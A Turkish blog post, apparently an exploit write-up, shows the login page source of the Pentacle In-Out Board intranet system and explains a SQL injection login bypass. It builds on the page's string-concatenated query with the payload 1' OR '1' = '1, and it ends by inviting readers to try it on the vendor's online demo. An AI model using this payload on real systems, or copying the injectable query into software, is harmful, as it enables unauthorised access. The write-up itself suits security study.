Evet Pentacle Giriş Çıkış Tahtası (In-Out Board) sisteminde bulduğum
şifre kontrol aşılmasını gösterelim.Pentacle nedir nerde kullanılır
derseniz işyerlerinin local intranetleri için yazılmış bir kayıt sistemi
kodlara bakalım.
<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<!--#include file="inc.asp"-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>PENTACLE IN-OUT BOARD - Log in</title>
<link href="./skins/1/index.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript">
<!--
function sf(){document.form1.username.focus();}
// -->
</script>
</head>
<body onload=sf()>
<%
Response.Buffer = True
Db = "./dbs/"&dbname
ConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Server.MapPath(db)
Set conn = Server.CreateObject("ADODB.Connection")
conn.open ConnStr
if request.form.count <> 0 then
username = trim(request("username"))
userpassword = trim(request("userpassword"))
set rsst = Server.CreateObject ("adodb.recordset")
sqlTextcs = "SELECT *, pt_users.userlocationid as userlocationid FROM pt_users, pt_locations where pt_users.userlocationid=pt_locations.locationid and username ='"&username & "' and userpassword='"& userpassword&"'"
'sqlTextcs = "SELECT * FROM pt_users where username="&username
rsst.Open SqlTextcs, conn, 1, 3
if not rsst.eof then
session("loginstatus")="true"
session("skin")=rsst("userskinid")
session("username") = rsst("username")
session("userid") = rsst("userid")
session("usergroupid") = rsst("usergroupid")
session("userlocationid") = rsst("userlocationid")
useradmin = rsst("useradmin")
if useradmin = True then
session("adminyes") = "True"
elseif useradmin = False then
session("adminyes") = "False"
end if
session("logtimezone") = rsst("locationtimezone")
' if session("prescript") = "" then
session("prescript") = "default.asp?groupid="&session("usergroupid")&"&locationid="&session("userlocationid")
' end if
response.redirect session("prescript")
end if
if session("lognumber")<3 then
session("lognumber")= session("lognumber")+1
response.redirect("login.asp")
else
response.redirect("error.asp?eno=6")
end if
else
set rsst = Server.CreateObject ("adodb.recordset")
sqlTextcs = "SELECT * FROM pt_settings"
rsst.Open SqlTextcs, conn, 1, 1
visitorview = rsst("visitorview")
end if
rsst.close
set rsst = Nothing
conn.close
%>
<form name="form1" id="form1" method="post" action="login.asp">
<p><br />
</p>
<table width="98%" border="0">
<tr>
<td colspan="3" align="center"><img src="skins/1/logoa.gif" alt="Pentacle Gold" width="220" height="60" /></td>
</tr>
<tr>
<td colspan="3" align="center"><h2> </h2></td>
</tr>
<tr>
<td width="43%" align="right">User Name:</td>
<td width="3%"> </td>
<td width="54%" align="left"> <input name="username" type="text" id="username"/> </td>
</tr>
<tr>
<td align="right">User Password: </td>
<td> </td>
<td align="left"> <input name="userpassword" type="password" id="userpassword" /> </td>
</tr>
<tr>
<td> </td>
<td> </td>
<td align="left"><input type="submit" name="Submit" value="Log in" /></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td align="left">
<%
if visitorview = true then
%>
<a href="defaultview.asp">View site as a Visitor </a></td>
<%else
%>
Visitor view is turned off.
<%
end if
%>
</tr>
<tr>
<td height="100" colspan="3" align="center" valign="bottom"><p> <span class="style12px">Powered By <a href="http://www.g2soft.net/pentacle/">Pentacle In-Out Board</a><br />
Copyright <a href="http://www.g2soft.net/">G2Soft.Net</a></span> <img src="./images/logo-s.gif" alt="g2soft" width="72" height="16" align="middle" /><span class="style12px">2005</span></p></td>
</tr>
</table>
</form>
</body>
</html>
Evet kodu iyice süzüyoruz ve SQL sorgularına dikkat ediyoruz.
Hemen 31.satıra bakalım
- sqlTextcs = "SELECT *, pt_users.userlocationid as userlocationid FROM pt_users, pt_locations where pt_users.userlocationid=pt_locations.locationid and username ='"&username & "' and userpassword='"& userpassword&"'"
gördüğünüz gibi amcamız bir güzel
kodu yazmış ve hatta '"&Variable&"' kullanarak ' larla
birleştirmiş ancak bunu iyice süzmemiş
' larla birleştirmesi bizim işimize yarayacak nedenmi?
dikkatlice bir SQL kodu yazalım ufak ve sistemin kafasını allak bullak etmeden onayı vermesini sağlayacak
sistem bunu nasıl okuyor önce bi buna bakalım
- SELECT *, pt_users.userlocationid as userlocationid FROM pt_users, pt_locations where pt_users.userlocationid=pt_locations.locationid and username ='birsey' and userpassword='sifre'
diye alıyor buraya kadar hersey masum deniyoruz şifre hatalı dedi..
şifre
kısmına formumuzda 1' OR '1' = '1 yazalım basit bi şekilde sorgumuzun
anlamı kullanıcı bu ve sifre su ise veya 1 eşittir 1 midir? elbette 1
eşit 1dir , şifre doğru olmasada bunun doğru bir kuram olması nedeniyle
sql onayı vericek.
- SELECT *, pt_users.userlocationid as userlocationid FROM pt_users, pt_locations where pt_users.userlocationid=pt_locations.locationid and username ='birsey' and userpassword='1' OR '1' = '1'
oldu sorgumuz
ama biz 1' OR '1' = '1 girdik işte baştaki & bağlama özelliği
sayesinde öndeki tırnağa ve sondaki tırnağa sorgumuzu yazdı , ve
başarılı bir sql sorgusu elde ettik ve sisteme girdik.
Pentacle'i
nette kullanan bir yer bulamazsınız bulsanızda çok az olabilir o yüzden
online demo üstünden enjeksiyonu deneyebilirsiniz.
Yorum Gönder